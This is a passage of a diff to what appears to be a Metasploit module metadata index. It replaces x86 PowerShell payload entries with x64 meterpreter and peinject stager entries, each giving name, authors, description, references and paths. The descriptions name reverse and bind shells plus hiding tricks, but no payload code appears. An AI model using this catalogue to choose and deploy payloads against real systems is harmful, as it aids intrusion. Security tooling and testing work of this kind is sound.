"payload/cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", "aliases": [ ], @@ -185921,12 +195487,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf " + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection and spawn a command shell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185935,9 +195503,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell_bind_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -185946,9 +195514,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell_bind_tcp_xpfw": { - "name": "Powershell Exec, Windows Disable Windows ICF, Command Shell, Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/shell_bind_tcp_xpfw", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_http": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_http", "aliases": [ ], @@ -185957,11 +195525,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Lin0xx " + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nDisable the Windows ICF, then listen for a connection and spawn a command shell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -185970,9 +195541,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell_bind_tcp_xpfw", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, @@ -185981,9 +195552,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell_hidden_bind_tcp": { - "name": "Powershell Exec, Windows Command Shell, Hidden Bind TCP Inline", - "fullname": "payload/cmd/windows/powershell/shell_hidden_bind_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_https": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (wininet)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_https", "aliases": [ ], @@ -185992,13 +195563,17 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sd", - "Borja Merino " + "skape ", + "sf ", + "OJ Reeves", + "hdm ", + "agix", + "rwincey" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from certain IP and spawn a command shell.\nThe shellcode will reply with a RST packet if the connections is not\ncoming from the IP defined in AHOST. This way the port will appear\nas \"closed\" helping us to hide the shellcode.", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 wininet)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -186007,9 +195582,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell_hidden_bind_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, @@ -186018,9 +195593,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/shell_reverse_tcp": { - "name": "Powershell Exec, Windows Command Shell, Reverse TCP Inline", - "fullname": "payload/cmd/windows/powershell/shell_reverse_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_named_pipe": { + "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", "aliases": [ ], @@ -186029,12 +195604,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf " + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to attacker and spawn a command shell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -186043,9 +195620,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/shell_reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -186054,9 +195631,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/speak_pwned": { - "name": "Powershell Exec", - "fullname": "payload/cmd/windows/powershell/speak_pwned", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp": { + "name": "Powershell Exec, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp", "aliases": [ ], @@ -186065,11 +195642,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "Berend-Jan \"SkyLined\" Wever " + "skape ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -186078,9 +195658,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/speak_pwned", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -186089,9 +195669,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", "aliases": [ ], @@ -186100,15 +195680,18 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "skape ", "sf ", + "OJ Reeves", "hdm ", - "skape ", - "Borja Merino " + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -186117,20 +195700,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/bind_hidden_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/upexec/bind_hidden_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", "aliases": [ ], @@ -186139,15 +195722,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", "skape ", - "Borja Merino " + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -186156,9 +195738,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -186167,9 +195749,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttp": { + "name": "Powershell Exec, Windows x64 Reverse HTTP Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttp", "aliases": [ ], @@ -186178,14 +195760,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "skape ", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTP (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -186194,9 +195776,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, @@ -186205,9 +195787,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid": { - "name": "Powershell Exec, Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", + "payload_cmd/windows/powershell/x64/meterpreter/reverse_winhttps": { + "name": "Powershell Exec, Windows x64 Reverse HTTPS Stager (winhttp)", + "fullname": "payload/cmd/windows/powershell/x64/meterpreter/reverse_winhttps", "aliases": [ ], @@ -186216,15 +195798,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", "skape ", + "sf ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for an IPv6 connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nTunnel communication over HTTPS (Windows x64 winhttp)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -186233,9 +195814,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/meterpreter/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, @@ -186244,9 +195825,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/bind_named_pipe": { - "name": "Powershell Exec, Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/upexec/bind_named_pipe", + "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", "aliases": [ ], @@ -186255,11 +195836,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "UserExistsError" + "ege ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a pipe connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x64)", "references": [ ], @@ -186270,9 +195850,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_named_pipe", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -186281,9 +195861,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/bind_nonx_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_nonx_tcp", + "payload_cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid": { + "name": "Powershell Exec, Windows x64 IPv6 Bind TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -186292,10 +195872,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf " + "ege ", + "sf ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x64)", "references": [ ], @@ -186306,9 +195887,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -186317,9 +195898,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/bind_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp", + "payload_cmd/windows/powershell/x64/peinject/bind_named_pipe": { + "name": "Powershell Exec, Windows x64 Bind Named Pipe Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_named_pipe", "aliases": [ ], @@ -186328,12 +195909,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape " + "ege ", + "UserExistsError" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x64)", "references": [ ], @@ -186344,9 +195923,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -186355,9 +195934,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/bind_tcp_rc4": { - "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_rc4", + "payload_cmd/windows/powershell/x64/peinject/bind_tcp": { + "name": "Powershell Exec, Windows x64 Bind TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp", "aliases": [ ], @@ -186366,14 +195945,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape ", - "mihi", - "RageLtMan" + "ege ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection (Windows x64)", "references": [ ], @@ -186384,20 +195959,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp", "check": false, - "post_auth": true, + "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/bind_tcp_uuid": { - "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_uuid", + "payload_cmd/windows/powershell/x64/peinject/bind_tcp_rc4": { + "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_rc4", "aliases": [ ], @@ -186406,12 +195981,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", + "ege ", "hdm ", - "OJ Reeves" + "skape ", + "sf ", + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -186422,20 +196000,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/find_tag": { - "name": "Powershell Exec, Windows Upload/Execute, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/upexec/find_tag", + "payload_cmd/windows/powershell/x64/peinject/bind_tcp_uuid": { + "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/peinject/bind_tcp_uuid", "aliases": [ ], @@ -186444,11 +196022,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "ege ", "sf ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nUse an established connection", + "description": "Execute an x64 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x64)", "references": [ ], @@ -186459,9 +196037,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/find_tag", + "ref_name": "cmd/windows/powershell/x64/peinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -186470,9 +196048,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_ipv6_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/x64/peinject/reverse_named_pipe": { + "name": "Powershell Exec, Windows x64 Reverse Named Pipe (SMB) Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_named_pipe", "aliases": [ ], @@ -186481,12 +196059,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape " + "ege ", + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker over IPv6", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker via a named pipe pivot", "references": [ ], @@ -186497,9 +196073,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, @@ -186508,9 +196084,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_nonx_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_nonx_tcp", + "payload_cmd/windows/powershell/x64/peinject/reverse_tcp": { + "name": "Powershell Exec, Windows x64 Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp", "aliases": [ ], @@ -186519,10 +196095,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "ege ", "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker (No NX)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker (Windows x64)", "references": [ ], @@ -186533,9 +196109,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -186544,9 +196120,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_ord_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_ord_tcp", + "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_rc4": { + "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", "aliases": [ ], @@ -186555,11 +196131,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "ege ", + "hdm ", + "skape ", "sf ", - "spoonm " + "mihi", + "max3raza", + "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker", "references": [ ], @@ -186570,20 +196150,20 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp_rc4", "check": false, - "post_auth": false, + "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_tcp": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp", + "payload_cmd/windows/powershell/x64/peinject/reverse_tcp_uuid": { + "name": "Powershell Exec, Reverse TCP Stager with UUID Support (Windows x64)", + "fullname": "payload/cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", "aliases": [ ], @@ -186592,12 +196172,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", + "ege ", "sf ", - "hdm ", - "skape " + "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support (Windows x64)", "references": [ ], @@ -186608,9 +196187,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp", + "ref_name": "cmd/windows/powershell/x64/peinject/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, @@ -186619,9 +196198,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_allports": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_allports", + "payload_cmd/windows/powershell/x64/pingback_reverse_tcp": { + "name": "Powershell Exec, Windows x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/windows/powershell/x64/pingback_reverse_tcp", "aliases": [ ], @@ -186630,12 +196209,9 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape " + "bwatters-r7" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x64 payload from a command via PowerShell.\n\nConnect back to attacker and report UUID (Windows x64)", "references": [ ], @@ -186646,9 +196222,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/x64/pingback_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, @@ -186657,9 +196233,9 @@ "session_types": false, "needs_cleanup": false }, - "payload_cmd/windows/powershell/upexec/reverse_tcp_dns": { - "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_dns", + "payload_cmd/windows/powershell/x64/powershell_bind_tcp": { + "name": "Powershell Exec", + "fullname": "payload/cmd/windows/powershell/x64/powershell_bind_tcp", "aliases": [ ], @@ -186668,15 +196244,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "vlad902 ", - "sf ", - "hdm ", - "skape ", - "RageLtMan" + "Ben Turner", + "Dave Hardy", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", + "description": "Execute an x64 payload from a command via PowerShell", "references": [ - + "URL-https://blog.nettitude.com/uk/interactive-powershell-session-via-metasploit" ], "platform": "Windows", "arch": "cmd", @@ -186685,9 +196259,9 @@ "autofilter_services": null, "targets": null, "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_dns", + 